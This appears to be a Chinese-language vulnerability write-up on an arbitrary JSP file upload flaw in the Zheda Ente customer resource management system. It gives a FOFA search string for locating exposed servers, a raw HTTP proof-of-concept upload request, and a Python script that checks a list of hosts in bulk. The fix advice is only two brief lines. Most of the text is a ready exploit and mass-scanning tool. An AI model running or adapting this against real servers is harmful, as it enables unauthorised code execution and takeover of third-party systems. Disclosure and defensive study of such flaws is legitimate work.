文章目录
- 前言
- 声明
- 一、系统概述
- 二、漏洞描述
- 三、资产探测
- 四、漏洞复现
- 五、修复建议
前言
杭州恩软信息技术有限公司客户资源管理系统fileupload.jsp接口存在安全漏洞,攻击者可通过上传恶意脚本应用,获取服务器控制权限。
声明
请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。
一、系统概述
杭州恩软信息技术有限公司(简称浙大恩特)提供外贸管理软件、外贸客户管理软件等外贸软件,是一家专注于外贸客户资源管理及订单管理产品及服务的综合性公司,该系统旨在帮助企业高效管理客户关系,提升销售业绩,促进市场营销和客户服务的优化。系统支持客户数据分析和报表展示,帮助企业深度挖掘客户数据,提供决策参考。
二、漏洞描述
浙大恩特客户资源管理系统中的fileupload.jsp
接口存在安全漏洞,允许攻击者向系统上传任意JSP文件,从而可能导致潜在的远程执行代码攻击,该漏洞可能会对系统的完整性和安全性产生严重影响。
三、资产探测
FOFA:title="欢迎使用浙大恩特客户资源管理系统"
四、漏洞复现
漏洞利用点位于:/entsoft/CustomerAction.entphone;.js?method=loadFile
接口,当访问接口时出现如下响应体,可认定存在漏洞。
POC
POST /entsoft/CustomerAction.entphone;.js?method=loadFile HTTP/1.1
Host: IP:PORT
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflateCookie: JSESSIONID=DC8CC6789589F9B682E313C4D1A2D398DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarye8FPHsIAq9JN8j2A
Content-Length: 232
------WebKitFormBoundarye8FPHsIAq9JN8j2A
Content-Disposition: form-data; name="file";filename="xx.jsp"
Content-Type: image/jpeg
<%out.print("test");%>
------WebKitFormBoundarye8FPHsIAq9JN8j2A--
Burp抓包并修改数据包
Response中返回上传文件路径,直接访问
漏洞批量验证脚本
import argparse
import time
import requests
parser = argparse.ArgumentParser(description='浙大恩特客户资源管理系统任意文件上传')
parser.add_argument('-f',help='Batch detection file name',type=str)
args = parser.parse_args()
file = args.f
def get_url(file):
with open('{}'.format(file),'r',encoding='utf-8') as f:
for i in f:
i = i.replace('\n', '')
send_req("http://"+i)
def send_req(url_check):
print('{} runing Check'.format(url_check))
url = url_check + '/entsoft_en/entereditor/jsp/fileupload.jsp?filename=test.jsp'
header = {
'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15',
'Content-Type':'application/x-www-form-urlencoded',
'Accept-Encoding':'gzip, deflate',
'Content-Length': '12',
'Connection':'close'
}
data = (
"test"
)
try:
requests.packages.urllib3.disable_warnings()
response = requests.post(url=url,headers=header,data=data,timeout=3)
if response.status_code == 200:
print('存在任意文件上传漏洞,请尽快修复!!!')
except Exception as e:
print(e)
pass
if __name__ == '__main__':
if file is None:
print('请在当前目录下新建需要检测的url.txt')
else:
get_url(file)
五、修复建议
1、更新应用系统版本或者打补丁
2、架设安全防护设备(WAF)等